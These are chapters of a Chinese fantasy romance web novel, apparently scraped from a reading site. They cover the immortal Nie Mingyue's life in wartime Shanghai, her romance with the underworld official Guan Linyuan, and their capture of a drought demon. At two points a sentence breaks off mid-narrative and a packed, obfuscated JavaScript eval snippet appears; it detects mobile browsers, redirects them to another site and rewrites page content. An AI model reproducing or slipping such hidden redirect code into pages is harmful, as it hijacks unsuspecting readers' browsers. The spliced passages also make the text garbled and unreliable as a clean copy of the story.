丽娘知道何威廉的为难之处,加上大量难民涌进香港,花花世界陷入混乱。她劝何威廉将资产分解后回英国,远离家族分崩离析的局面。 豪门之争自是将过往不堪与阴私摆在了台面上。最终身心俱疲的夫妇俩商议后,决定直接去美国定居。 “这是我们最后一次见面了……”丽娘拉着聂明月的手,抹了抹眼泪,一副依依不舍的表情。 她不再是当初那个恣意潇洒的丽娘,而是面上端庄雅正,实则八面玲珑的何夫人。丽娘的面容依旧娇艳如初,何威廉则满头白发,脸上刻满了岁月与病痛的痕迹。 阿金在两年前,以丽娘的妹妹身份与船员结婚了,她却是要留在香港的。这是阿金与丽娘几百年来第一次真正的分离,心中忐忑,又想跟小姐远渡重洋,又无法割舍下夫家。 人类的爱情,并不是两个人之间的事。同时面临的,还有对方的家庭。 - “阿金以后有什么事拿不定主意,先问明月。”她叮嘱,怕阿金太老实,被婆家人欺负:“明月不懂,自会先问过唐槐,再告诉你。” 阿金含着眼泪,点点头。 聂明月主动张开双臂,轻轻抱住了丽娘。在轮船汽笛声的催促中,与丽娘和何威廉做了道别。 人类的重逢与分别,常以拥抱开始,拥抱结束。 - 相拥时,丽娘悄悄跟她说:“等我,很快就回来。”这话却是不能当着先生面说的。 何威廉重病,到纽约是要去治病的。丽娘瞒着他只有三五年寿命的真相,想陪着他走完最后一程,算是有始有终了。 爱着对方,却要撒谎。 聂明月本以为已经知道了爱的答案,却又有了新的疑问。 - 1939年10月。 “说起来,都是因为我先撒了谎。” 在上海租界内的洋房中,刚回来的阿金坐在沙发上,忍不住流出了眼泪。 距上次香港见面,已过去了四年。马鹿子安心留在了北港,约好等战乱结束后再回南方。唐槐去了重庆,临走前让聂明月到上海打理产业。 聂明月灵台之内的冰魄炎魂虽有应龙伞的压制,却依然未除。唐槐知道她分分秒秒都在疼着,却无法想象是多严重的疼痛。 第二次世界大战爆发,租界却如同一座孤岛,暂时保持着表面的平静。唐槐只想让她不要再外出捉妖了,万一再次失了神智,多年努力付诸东流。 他此去路途格外艰险,聂明月执意让香香跟随,只期待危机之中,香香能保住唐槐的性命。 “不干涉,只救你。”这是聂明月对唐槐立下的保证。 - 阿金就是在这个时候回来的。刚结婚那几年,两人的小日子过得极为甜蜜。时间一久,婆家人就坐不住了。 阿金嫁进来的时候是何太太的亲妹妹,何威廉一离开香港,何家也不认这门姻亲了,他们便开始对温婉恭顺的阿金挑剔起来。 直到小姑子跟阿金透露,丈夫在外面有了一门外室,对方怀孕了。 阿金忍不得这种事,却又不敢打上门去质问,便默默收拾行李,独自回到了上海。 - 聂明月也不知道该怎么劝她。她听阿金喃喃诉说着,全是婆家人甲乙丙丁的行径。她记不住那么多人的名字和复杂的关系,只想知道—— “你的丈夫,你问了吗?” 阿金愣住了,摇摇头:“我没有脸问他。是我撒谎骗了他。妖怪怎么能给人生孩子呢?丽娘都做不到,我更做不到……” 聂明月皱了皱眉,便不再多说了。 阿金回她身边也是好事,香港如今不太平。有她护着,阿金总是安全的。 阿金是个勤快人,每日在厨房里变着花样做新菜。聂明月享受这份清闲,空了便与阿金看看书、逛逛戏园子,日子倒也是惬意。 外面战火连天,两人奔波多年,此时却才像真正的人类那样,慢慢咂摸出生活滋味来。 - 夜深人静的时候,阿金总是悄悄在花园中哭泣。 她爱极了那人,却又恨极了他的辜负与花心。她见过丽娘往次与人类的痴缠纠葛,本以为自己第一次与人类的相爱,不需要轰轰烈烈,只求平淡相守,没想到最终还是狼狈逃走。 她不想让聂明月见到自己这副样子,聂小姐虽好,却不谙情事,难以感同身受。 阿金深知这一次只能自己慢慢消化,等时间一久,自然就好了。可是心中伤口愈合得太慢,更是难熬。每想到此,她只能让自己躲起来痛快地哭上一场。 聂明月却是早就知道她偷偷哭的。 阿金是有多痛呢?是失去恋人痛苦,还是被恋人的背叛更让她痛呢? 与她身体中那无所不在的痛楚比起来,哪个更甚? - 想到关于爱情这个命题,她还是没有找到答案,心中不免浮躁,便决定去外面走一走。 夜里的南京路上,电车沿着轨道叮叮当当驶过。对面是一家霓虹闪烁的大戏院。 骑着三轮车的小贩在电影院门口叫卖瓜子、糖果和香烟,为观众提供看电影时的小零食,一派热闹景象。 她突然想到和关临渊的第一次见面。 他被一只魇挑唆,专门从上海找到京城来与她理论,那时的关大人真是年轻气盛……那只魇,应该就是在此间作乱吧。 二十五年过去了,不知道离开了没有。 - 距离夜间电影还有二十分钟,已经有人陆续往里面走了。聂明月绕到后门,在上了锁的化妆间里找到了那只魇。 “我又没害人!你凭什么抓我!”那只魇的面目模糊,尚未成形,应该只是个三五十年修为的小精怪。 聂明月坐在他对面,信手拿起一把化妆刷,刷头毛茸茸的,沾着彩色亮片:“你不认识我?” “你是谁啊?我凭什么要认识你!”魇没好气地说,他老老实实在化妆间里待得好好的,最近戏班子没有新戏,那电影又看了好多遍,本来就没有心情玩闹。 谁知道这女人进来一句话不说,提着他的脖子就甩到地上。他揉揉并不会有痛觉的屁股,真没礼貌! “不认得我,打着我名号,戏弄阴冥司?”她提醒他。 魇愣了。她怎么知道,他曾经被阴冥司抓住的事?那是多少年前的事了……他仔细想着当时情景,又看着眼前的女人,突然神色一惊:“你……你莫非是……” “我姓聂。”聂明月不跟他废话:“你既仗我势,那就随我走。”她不待魇啰唆,信手一招,将其纳入明堂拘禁起来。 - 从化妆间出来的时候,电影已经快开始了。 穿着旗袍的富家太太和西装革履的商人鱼贯而入,等待观看最新上映的美国电影。 影院内灯光璀璨,服务员彬彬有礼地引导观众入座。她气质不俗,打扮也极为精致,服务员以为是谁家大小姐应邀而来,便没有上前打扰。 她随意走到最后一排,找到一个空位坐了下来。 光线突然一暗,电影要开始了。 有人走到她身边,男人的声音疏远又客气:“抱歉,这是我的座位。” 聂明月抬头,一时愣神:“好久不见,关临渊。” “好久不见,聂明月。”他语气里尽是意外,直接坐在了她旁边。 关临渊公务路过上海,也想到了当年让他吃了闷亏的那只魇。买了票先去找了一圈,想来已经是跑了,便顺势进了播放厅。 距白乌城一别,又是七年。 - 这是一部好莱坞最新技术的黑白有声片。开场是在一片沙滩上,一名女子正背对着观众,在画架上绘画。 当第一个特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587854|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写出现时,全场观众竟爆发出热烈掌声。 这是美国电影史上第一位华人女主演,她于两年前被星探发掘,以出色的演技和绝美的容貌,蜚声于海外。 那是丽娘的脸。 丽娘在何威廉去世后,本来要回国与大家相聚,不料误打误撞闯入了好莱坞电影圈。 聂明月知她成了演员,却没想到会在上海看到她的作品。 聂明月随即忽略了身旁的关临渊,全神贯注地投入到观影中。 关临渊本以为此次重逢,聂明月可能有事要办。此时看起来,她似乎是真来看电影了,便不再打扰,也将注意力放在了影片上。 - 影片名为《乱世情网》,男主角是一位来自西欧的青年军官,在第一次世界大战前夕,他与一位美国华人女性在海滩上一见钟情。战争爆发后,男女主角在波云诡谲的局势下被迫分开。多年后,男主角寻找当年的爱人,但命运的安排让他们错过了最后的重逢。 电影最终以男主角孤独死去,女主角怀念着他的一生作为结局。 最后一幕,女主角在得知爱人死讯后,独自走到当年相遇的海滩,眼中满是伤痛与无奈。随着轻柔的音乐,丽娘忧伤的脸伴随着画面逐渐淡出,留下观众沉浸在这段令人遗憾的爱情悲剧中。 散场后的影院门口,已经有了初秋的凉意,故事里的爱情,为散场的观众带来了短暂慰藉。 一队巡逻车刚刚驶过,路边的商贩已经散去,几辆黄包车在门口等待揽客。 聂明月信步穿过南京路,来到黄浦江畔。 关临渊对聂明月始终有种复杂的情愫,尤其是在看完一部爱情电影后,他一时无处可去,便走在她身边。 - 远处银行大楼与饭店华灯绽放,灯光与江面交相辉映,在这个动荡敏感的年代,万国建筑群依然不吝于展示着风情。 黄浦江上的灯塔与航标闪烁,在湿润的空气与江上轻雾中若隐若现。 “今晚的上海,真安静。”聂明月打破了两人的沉默。仿佛整座城市,就剩下他们两人,在乱世中不期而遇,终将仓促离别。 “关临渊,我们今天,不谈妖怪。”她说。 两次与关临渊见面,一次为了明堂和阴冥司,一次是捉鬼师狭邪。她着实不想因为类似的话题,破坏丽娘的电影在她心中留下的奇妙感受。 大荧幕上流泪相拥的两人,至死都在寻找对方,那就是爱情吗? “好。”关临渊明明可以直接与她道别,此情此景,却不知为何,有点舍不得离开。 - “你说,爱情是什么?”她突然问。 将军教会了她什么是人与亲情,却没等教会她什么是爱,就匆匆离世了。 丽娘说,你先去试着爱一个人,爱过就会知道。 阿金说,当你爱上一个人,就会情不自禁想成为一个更好的人,希望自己配得上被对方爱着。 唐槐说,爱情是人类专属的情感,遇到对的人,自然会体会到。 马鹿子说,这妖怪啊,之所以流连人间,不就是贪图些情情爱爱吗?本仙人不需要,所以不知道。 然后他们都说,爱情不需要坦诚以待,谎言是守住爱情的最后一道防线。 她困惑了。 她看向关临渊,期待阴冥司大人能给她一个不同的答案。 - 关临渊确实被问住了。 他从小就在阴冥司长大,自然是见识过众多妖魂人灵对于爱情的痴恨别离。但他却从未像聂明月这样,将其视作一个问题去解读。 “这件事对你很重要?”他问。 “嗯。”聂明月垂下头,眼睫轻轻颤动着:“我父亲说,当我成为,真正的人,就可知来路,明白去处。” 所以她不断求知、看书,看得越多,越是迷茫。 - 关临渊找到特殊的角度来帮她理解:“那我们先看看,爱字怎么写。” 他伸出手指,在潮湿的地面上,凌空缓缓画出第一笔—— “上方是‘爫’,象征着双手或者拥抱。爱需要主动,和保护。” “中间是‘心’,是爱的核心。爱是最直观的内心感受和冲动。” “下面是‘夊’,这是脚步,表示要往前走。爱需要落实到行动中。” “你看,‘愛’字本身就是一个相爱的画面,不仅是爱情,还有亲情与友情,都是一种爱的表达。”关临渊落下最后一笔,抬眼看向聂明月。 那女人怔怔看着地上的湿字。 拥抱的双手、跳动的心、走向彼此的步伐,所有加在一起,就是爱吗? - 江边有风拂过,地上的字迹很快就消散了。 聂明月抬起头,看向关临渊,这才发现他不知已凝望她多久。 她张开双臂,缓步向他走去,轻轻拥住他宽厚的背脊,用力贴近他的身体…… 关临渊脑中一片空白,怀中女子的发丝散发着若有若无的森木香气,他情不自禁抬起手,环住了聂明月的肩。 这是聂明月第一次如此清晰地听到人类的心跳,“砰砰砰”如擂鼓般急促,她忍不住要抬头看他——人类的心脏都会跳得这样快吗? 关临渊按住她的头,让她继续靠在自己肩上。 别听我的心,别看我的脸,它们此刻不属于我,它们早已脱离了我的掌控…… 好像一切都停止了。风停了,水寂了,远处钟楼上的指针也凝固不动…… 明明没有施法,为何世界突然暂停? 只余两颗心在黑暗中相互呼应着,共鸣跳动着…… - 我走向了一个男人。 我拥抱了他的身躯。 我听到了他的心跳,和我的心跳节奏重合,惊慌而有力。 我看懂了“愛”字的写法,所以,这就是人类的爱吗? 聂明月觉得,她似乎找到了答案。 - 灯光倒影、江水微波。 今晚的上海,真美。 46. 爱的体验 人间行走指南: 【人类并不完美,所以比神可爱。】 - 关临渊再次路过上海时,特意为聂明月带来了一份小礼物。 看电影已经是两个月前的事了。自那天起,聂明月没有掩饰对关临渊的挂念,她觉得时间过得极慢,盼着再见到他。 “这是什么?”聂明月站在花园里,接过那枝挺拔有力的花,碗口大的黄色花朵层层叠叠,每一片都饱满舒展,上面还有少许灵力流动,充满着淡淡清新香气。 她将之举起来,对着傍晚微暖的冬日阳光细细打量。光透过花瓣,映出如轻纱般柔软的质感,每一个瞬间,它都有不同的样子。 “芍药。”关临渊笑着看向她:“冬日黄色芍药不常见,第一眼看到它时,我就想起了你。” 他特意施了灵力,才让这枝花经历长途跋涉后依然鲜活如初。 “维士与女,赠之以芍药。”聂明月听到花名,想起《诗经·郑风》里的一句来。 他从豫州回来,带来了传说中郑国男女的定情之花。 她微微一笑,低头嗅了嗅花香,心中不禁柔软下来。 爱情,果然是一件美好的事。让人一思一念间,便满心欢喜,连寒冬都有了暖意。 - 聂明月要和关临渊出门,拉着阿金替她打扮。在这个方面,她从未上过心,今日却格外重视了。 阿金看在眼里,既觉得好笑,又替她开心。 聂小姐初坠情网,竟是这副模样——脸上带着一丝甜笑。 “我不会,你教我?”聂明月主动向阿金请教。她活了快六十年了,从未有过如此时般的忐忑与期待。 阿金笑着说:“不用教。聂小姐本来就是天下第一的好姑娘,你什么都不用做,估计那位关大人,比你还紧张呢。” 想到那朵芍药花,阿金更觉得有趣。关大人也是个极有趣的人呢。 - “从未爱过人,没有关系。当你爱上一个人的时候,便会发现,前面六十年都在为这一天做准备。” 聂明月没有听得太明白,她正在整理上衣盘扣上的十八籽珍珠压襟。 她将流苏轻轻抚平,看了一眼镜子中的自己——白色毛呢大衣,配着鹅黄中式夹袄上衣和长裙,淡绿色流苏垂在胸侧,添了几分灵动。 聂明月下楼时,关临渊站起来看向她,眼前的少女清雅朦胧,正一步步向他走来。 关临渊自幼被当作阴冥司接任者培养,在男女之情上,他从未涉及。 此时他甚为庆幸,庆幸他与聂明月存在于同一个时间,同一个世间,才有了今日美好如梦境的画面。 - 今晚聂明月要以《有明堂》杂志出版人妹妹的身份,出席上海出版界举行的新年酒会。 关临渊平常就是一副西装革履的正装打扮,正好当她的男伴。 南京东路的私人会所里灯火辉煌,衣香鬓影。在现场低音提琴的悠扬旋律中,大部分人低声细语,互相交换着礼节性的寒暄与祝愿。 此次参会嘉宾大多是作者、出版社代表和评论家。几个外国书商的西方口音,和浓重的上海话交织在一起,形成独特的音调,他们正在与本地出版方谈着借形势抢占国内市场的合作。 一个记者皱着眉头说:“现在内忧外患,这里还一片太平盛世的样子,走出俱乐部大门,外面有多少人连饭都吃不起……” 同伴拍拍他的肩,提醒他注意场合。 - 聂明月挽着关临渊的胳膊,在餐台前拿起了一枚冷盘上的小蛋糕。 两人外形出色,极为登对。关临渊眉眼冷峻,看起来不好亲近,聂明月也是惯常冷淡的神情,以致无人上前搭话。 “你看那位!”有人小声议论:“唐先生的妹妹。旁边那个男的看着眼生。陈家大少爷还想追求聂小姐呢,看来名花有主咯。” “什么追求?不过就是想傍上唐先生的军方资源罢了。”另一个人不屑地说。 - 吃了小蛋糕和水果,聂明月自认已经完成了出席代表的任务。 她不想错过关临渊难得的工作闲暇,拉着他走出俱乐部,又到了江畔。 “关临渊。”她笑着喊他。 “我在。”他笑着看她。 “上次,你在这里,教我写爱。”她说:“这次,我要学,新的东西。” 夜风之中,白色大衣下摆随着她的回身,划出一道浅浅的弧线。关临渊看着她的脸,问:“你想学什么?” 聂明月伸手环住了他的脖颈,仰面看着他的黑瞳:“你闭眼!” 关临渊预感到了接下来的一幕,但几秒钟之后他才明白,那种感觉,是想象不出来的。 她冰凉柔软的唇覆了上来,她的嘴里有奶油的甜香、苹果的清新,还有无数神秘的味道,让他忍不住细细探索。 他悄悄睁开眼看着心上人,那女子却不知道什么时候闭上了双目,纤长的睫毛如羽,轻轻地颤动在他愈加柔软的心尖。 - 远处大楼上的时针缓缓移动,他们就这样亲吻着,进入了新的一年。 谁都知道未来充满不确定性,但今天,至少在唇齿纠缠的这一刻,聂明月确定了爱情的存在。 他是关临渊。 - 关临渊公务繁忙,世间凡有大功德或大罪恶的亡魂,都需要他亲手带走。 这些年里,他妖魂缉得少,更多的是因战争而死去的人灵。乱世中,妖怪敢现身作乱的不多,人杰英魂反而频出。 他每次都以最慎重的姿态将之带回阴冥司,权衡着他们的来世去处。 与聂明月相处了不到两天,关临渊要再次上路了。 “又打仗了吗?”聂明月皱眉。若不是将军的教导和关临渊师父的劝诫,她定会出手参与。 但是不行,因为这是人间事,因为人类做不到——而人类做不到的人间事,她也不能去做。 “这次不是。是一个不在轮回中的千年女妖,最近在江南一带出没。”关临渊收拾好行李,准备出门。 “我也去。”她听到“不在轮回中”,心中一动。 关临渊想着,明堂在做的人间行走计划,捉妖也本是在她的责任之内,欣然应允。 “但你要答应我一件事——”他提出条件,“带上应龙伞。” - 应龙伞本来就是他师父的法器,师父将其交给聂明月后,也对他有所交代:明堂之主聂明月,虽杀伐狠辣,但也是个可信任的人。你不要把她当作普通妖怪对待,她为强大灵力所付出的代价,你我都不可能承受半息。 聂明月身体内有两股未知的力量在对峙,她时刻处于炼魂洗髓的痛苦中,需要应龙伞的压制才能缓解。 她多年来一直说话缓慢,率真如少女。但在白乌城与狭邪、鬼师交手时,她出手果断,冷静利落。 两个截然不同的她,两个又都是她。 想到这里,关临渊不禁一阵心疼,伸手摸了摸聂明月的头。 聂明月从未被人心疼过,完全感受不到他心中所想,连忙去跟阿金交代出门的事情。 - 春节即将到来,江南地区本应有着冬末春初时的湿润天气,此时却河床干涸,草木失了生气。白墙灰瓦的民居在前方林立,从村头到村尾本来有一条蜿蜒清溪,如今却露出白生生的石头来。 一滴水都没有。 伴随着干旱天气的,还有粮食的减产与饥荒。村里的人躲过了战乱,却躲不开天灾的凌虐。 关临渊和聂明月路过小村落,一个道长正在祠堂前作法祈雨。聂明月冷眼看着他那一套招式,亮出了应龙伞。 黑伞撑开,片刻之后,细密的小雨如丝线落下,道长先愣了一下,随即一脸正色:“施法完毕,天降甘霖!”在场村民无不满心欢欣,连呼“仙师高明”。 关临渊看了聂明月一眼,摇了摇头:“一场雨解不了众渴,你还能留在村里撑伞到溪水再起?” 聂明月倒不是专程为村民降雨来的,她就是想到了前任阴冥司提过的雨师家族后人,那道长的起势中有计家的招数。 “我答应了,你师父,善待计家人。”九族以内都算吧。 - 在接下来的寻妖过程中,聂明月一直撑着伞。关临渊已经非常了解她的脾性了,嘴上说着是给师父面子,其实还是心软,走一路就下了一路的雨。 他无奈地接过雨伞,撑在两人头顶。 聂明月得意地看着他:“你也心软。” 关临渊嘴硬:“你个子矮,就能给自己挡雨,我都被淋湿了。” - 等找到千年女妖所在地时,已经是第二天傍晚了。 那是一个败落的村庄。一个全身黑衣的长发女子,正在荒废的农田上缓缓行走。 她并没有直接作恶,只是所到之处,草木之气均升腾至她体内,瞬间枯竭。她每踩过一道田埂,土中就失去了湿气,干成了硬土。 “原来是她在作乱。”关临渊没想到本是为了寻她而来,沿途所见的旱情居然是此妖引起的。 女妖感受到突如其来的霏霏细雨,抬头看天,又察觉到了什么似的,回过身来看向两人。 她的脸色惨白,两颊上有数条赤色纹路,从左右颌角相互延伸至全脸,看起来甚为诡异。 这样的怪异面目吓不了关聂二人。关临渊亮出铁尺,习惯性将聂明月护在了身后。 聂明月笑了:“走吧,关大人。”这却是上一回白乌城的原话。 “注意安全,聂小姐。”他也像上一次那般回答。 - 缠斗中,她双手成爪,触到两人衣襟时便将其撕成碎片,动作粗暴却精准。 聂明月越打,心中的疑惑越深。她逐渐停下手,退到一旁,细细观察女妖的招式。 为什么会这么眼熟? 那种毫无章法的攻击方式,竟与她自己的战斗风格如出一辙。 她不会法术,也不擅长打斗,凭借的不过是不死不灭、刀枪不入的身体,以肉掌为武器。眼前的女妖,难道和她有什么渊源? 她忍不住看向关临渊。关临渊似乎察觉到她的心思,有意拖延战斗,尽量逼迫女妖多出几招。但显然,他并不想再被撕破衣衫,身法更加轻灵,步步躲避。 阴冥司出身果然不同,一招一式都严谨规整。聂明月看在眼里,不禁生出几分羡慕。 从天色渐暗打到夜幕降临,双方都心知此战难有结果。 聂明月看着女妖的攻势逐渐疲软,招式重复,没有更多变化,终于开口道:“收了吧。” 关临渊闻声,左手掐诀,右手挥动铁尺。铁尺瞬间显现青黑灵光,重重击向女妖,将她压倒在地。 随后,他取出一捆看不出材质的灵索,快速将女妖的双手缚住。 女妖大概是有恃无恐,阴冥司将她拿下后也不会有确切结果,也便不再做无谓的反抗。她垂下头,任由关临渊牵着,一路乖乖跟随。 三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629489|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终来到村子里的一间废弃的民房中,临时安顿下来。 - “李曼青。”关临渊早就知道她的姓名。多年前,他师父也曾缉拿过此妖,她当时做了承诺,不在人间作乱,才给放了回去。 “新上任的大人?”女妖的目光扫过聂明月手中的应龙伞,显然认得此物。她神色有些心虚,却又不甘示弱地辩解道:“我没有故意作乱!是这些年的怨气太盛,把我唤出来的!” 战乱年间,百姓流民增多,民间怨气频出,她本以吸食怨气修炼,克制不住体内妖性,这才从深山中跑了出来。 关临渊正色道:“你既然在两百年前就答应过阴冥司,从此好好修炼,不再做妖邪之事,就不该违背承诺。你如今造成江南一带冬日大旱,百姓饿死数人,按照规定,你必须跟我回冥池,判羁押千年!” 既入不了轮回,只能让她失去自由了。 “凭什么!我什么都没做!”李曼青嘶吼着,胸膛剧烈起伏,双颊上的赤纹越发鲜红,如血般刺目。她的面容此时狰狞而痛苦,似怒似怨,“都是……都是它们!都是这个世道!” - “你,是什么妖?”聂明月问。 李曼青怔了一下,讷讷地重复着她的提问:“我……是什么妖……”她说完,突然大笑起来,那笑容中透着无尽的凄厉:“我为人时,不得善终。我为妖时,没有善起。我想活的时候不让我活,想死却死不了!现在你问我,我是什么?” 她凄凄切切、言不成句地说出了当年事。 - 宋仁宗年间,她不过是一个普通的新妇。澶渊之盟后,北宋与辽国表面上达成了和平协议,但边疆的硝烟并未彻底散去,仍有大批军士驻守在辽宋交界之地。她的丈夫程典,便是其中一员。 两人分别在新婚之际,程典向她承诺,一定会平安回家。她在家中等候,三年、五年……却始终杳无音信。 十年之后,同期去参军的老乡归来,带回的却是噩耗:程典早在抗辽的第一年便战死沙场。 夫家害怕她改嫁,于是去县里请封。当时的地方官正需要表彰政绩,便将她苦守夫家、赡养公婆的事迹上报朝廷。 几个月后,一座贞节牌坊立在了村口,颂扬着她的“忠贞”,却也将她的人生彻底锁死在看不见希望的岁月中。 她凭什么不能怨?她怨程典不守承诺,让她耗尽青春年华,成了一个悲苦的老妇。 她凭什么不能恨?她恨夫家冷漠贪婪,将所有家务与生活重担压在她一人肩上,却从未问过她能否承担。 她凭什么不能愤?她愤乡官、县衙、朝廷,拿她的痛苦做文章,等她劳累至失去劳动能力、含恨自缢时,却还要为她冠上“殉情”的虚名。 “贞洁”“贞节”——那是她终生的桎梏,却不是她的荣耀。她终生想要的自由,被“存天理、灭人欲”的道德教条践踏得粉碎,最终死在了凄冷的黑夜里。 那天晚上,下了一场很大的雨。她被程家子侄搬到牌坊下,埋在了深坑中。 她连死后安宁都无法得到,依旧要为那座牌坊增添一笔虚假的功绩。 或许是她的愤怒与怨气感动了上天,一个修为高深的女人正好路过,将她挖了出来。 女修士听完她的哭诉,沉默片刻,抬掌便拍向了牌坊。随着一声巨响,巨大的石块轰然倒塌,激起漫天的灰尘。修士冷冷地看了一眼地上的碎石,一脚踏了上去,将“贞节”二字碾得粉碎。 “这种东西,不值得存在。”修士冷声道。 自此之后,李曼青的鬼魂跟随修士离开。修士称自己有事要做,赐她一滴鲜血,给了她不死不灭的身体。 “你心有不甘,那就好好活着。”她临走时只留下了一句话,从此再也没有见过。 - “什么修士能随便给鬼魂永生?”关临渊皱眉。 聂明月心下一震,这句话虽然是问李曼青的,却仿佛是问向她的。 “是我不好,没有听恩人的话。”李曼青掩面哭泣,语气中尽是悔意。她后来修炼走了捷径,发现吸食人类怨气,更有助于她的修行。千年下来,就成了如今这副模样。 “你不甘,始于程典。”聂明月冷静下来,缓缓转头看向关临渊:“程典的亡魂?” 阴冥司记录着每一位亡魂的去向,如果能找到程典,也许还能解开李曼青的心结。 “查过,没有。”关临渊摇了摇头。他师父当年也想到这个方法,但阴冥司里并无程典的踪迹。正因如此,最终才不得不放过李曼青。 没想到,两百年后的今天,李曼青早已不再是当年那个可怜的鬼魂,而变成了一只有形体的旱妖。 - “她已是妖,不是鬼魂。”聂明月道,她依然想留下李曼青,她隐隐觉得,李曼青脸上的赤纹与她有种莫名的关联。这个却是不能让关临渊知道的。 谁都不想让自己最狼狈、最难以启齿的一面,被最在意的人看到。 这是她第一次对关临渊有所隐瞒。 关临渊却不知道她心中所想,对他来说,李曼青不离开人间,旱灾就会继续肆虐。 他最终还是将其收到了铁尺里。 - 回去的路上,聂明月没有说话。 关临渊撑着伞,控水之术运转,为江南降下了一场久违的及时大雨。 1940年初,旱灾隐患去除。 聂明月和关临渊之间,出现了一道隐隐的裂痕。 两人都没有察觉。 47. 陵光古城 人间行走指南: 【人类常将不由己的事称为定数,唯有心动除外。】 - 今日的太阳压得很低,懒散地轻轻一跃,便随意挂在了树顶。 树下的关临渊睡得正沉,丝丝缕缕的阳光从树叶中投下来,他挺直的鼻梁上,几朵斑驳光影轻微闪动。 聂明月揪着一根细长的草叶,百无聊赖地衔在口中。过了一会儿,她试着也躺下来,光照晃眼,让她忍不住侧过头,正好对上关临渊的脸,甚至能感受到他温热的呼吸。 - 他们赶了几天路,从淮东走到了淮南,夜里都没有好好休息。路过此处时,关临渊突然说:“给我一刻钟的时间。” 说完他便坐了下来,顺势躺在草地上,陷入了沉睡。也就是因为聂明月在身边吧,他才能如此毫不设防。 “我大概和人还差得很远。”聂明月想,她从不需要睡觉。 入眠对她来说,不过就是闭着眼等待天亮而已。她是从海上醒过来的,不知道已睡了多久,以至于几十年下来,都不曾有过真实的睡意。 睡梦中的男人,没有关大人的冷冽严肃,也没有关临渊的调侃轻松。 他的眉毛浓而直,低低地压着眼睫,斜入鬓间;眉骨交汇处像两座山峰突兀地凹下去,形成了一道窄而厚的山根,从鼻梁延伸到鼻尖,硬朗地起伏着。 他的嘴唇略薄,此时正因午后的阳光而微微发红,两瓣唇的线条清晰分明,让她忍不住伸出手,从唇角到唇峰,一遍又一遍虚虚勾勒着轮廓…… 时光漫长,又行进突然。 - 关临渊醒来时,正好与聂明月四目相对。聂明月来不及收回好奇的手指和眼神,被他看了个正着。 “吵醒你了?”她有点不好意思,关大人好不容易睡一觉,她还扰人清梦了。 关临渊抓住她的手指,俯身过来,伸出胳膊枕至她的脑后,自上而下看着她:“你对我的嘴这么好奇?” 说罢不待聂明月解释,轻轻压了上去…… 恋人的亲吻,是午后小憩醒来最好的礼物。 - 此时已是草长莺飞的三月。这几个月,聂明月和关临渊一直在外行走。大多数是为了捉妖,其他时候并没有目的地。 不管身在何处,只要两人同行,就是一趟奇妙的旅程。 现在他们要赶往淮南地区。这是聂明月提出来的,她的父亲原籍淮南,既然到了南方,她想去聂将军出生长大的地方看一看。 关临渊欣然应允。他曾听过师父与聂明月相识并打赌的事,那位了不起的聂将军,和他了不起的愿望,让他心生向往与尊重。 其实聂明月还有个私心。人类都是有故乡的。她不知道自己来自何方,但与关临渊一同去往将军的故乡,好像就多了一重意味。 她还来不及整理更深层次的意义。她向来顺从内心所想,所以走到了这里。 - 两人边走边说话,聊起了法器。聂明月对他的铁尺好奇,关临渊便将其招了出来。 聂明月将铁尺握在手中,分量沉得有点出乎她的意料。十五年前,关临渊就是用这把铁尺,让她肺腑受伤至吐血。 关临渊并不知道,迄今为止,他是唯一可以伤到她的人。 说是铁尺,看起来更像是一柄短剑,其上粗下细,锋利的刃口上铭刻着古老的符文。 握柄处刻有一个独角兽头的图案,看不出是什么动物,却能感觉到它炯炯目光中带着的审视之色。 - 自唐代起,铁尺便被官府捕快别在腰中,它既是轻便的武器,也是一种身份象征。 以尺为武器并不少见,它可挑可刺,进退自如。民间有专门用尺的武学门派与技艺,各家均有独门套路和身法与之配合。 这把铁尺是历届阴冥司大人的信物,由关临渊的师父传于他,不仅是法器的交接,更是阴冥司的责任传承。 “什么材质?”聂明月将它翻来覆去打量,摸起来没有金属质感,看起来是天然骨质的沉浆乌青之色。 “獬豸的角。”关临渊解释道。獬豸乃上古神兽,因能断是非真假,被视为审判与公正的代表。 “只有大修为的修士,才能有自己的本命法器。本命法器同时成就了修士的进阶。”这更像是重要的伙伴和搭档。 “师父赠你的应龙伞,就是他的本命之物,由阴冥司第一任大人亲手所制,取自应龙之骨,所以才被称为应龙伞。” 聂明月正背着那把伞,她此时才知道,应龙伞对那位大人如此重要。 他将伞赠予她,其中深意……她垂下了手,将铁尺递回。 - 武器有了器灵,才会被称作法器。 “我修为尚浅,将将千年,獬豸角尺虽为我所用,却还不是我的本命法器。”关临渊道。 他于千年前在冥池之中诞生。经过多年修炼,方得此次上任。 “那我以后,送你一个。”聂明月将这件事放在心上。 - 关临渊没有在意。武器生灵,和本命器灵,两个都是可遇不可求的,是为命中注定。 “五百年换任。你的下一任,此时在哪里?”聂明月好奇。 “不知道,师父并没有交代。但他说过,阴冥司应天命而生,凡事皆有因果。时机到了,自然会出现。” 他自幼便在冥池中长大,与妖魔鬼怪的亡灵打交道,深知天命法则不可探寻和违背,这也是他的信念。 正是有了这般的信念,才能让他在权衡功过时,秉持公正,绝无偏颇。 - 两人在一起的时候有说不完的话。 “听说,你以前是正常说话的?”关临渊对她也有好奇。 “嗯。第一次,从妖境出来,失智了。”她断断续续说着当年太行山中的经历。 关临渊听到她被卖到了勾栏院,拍了拍她的头。 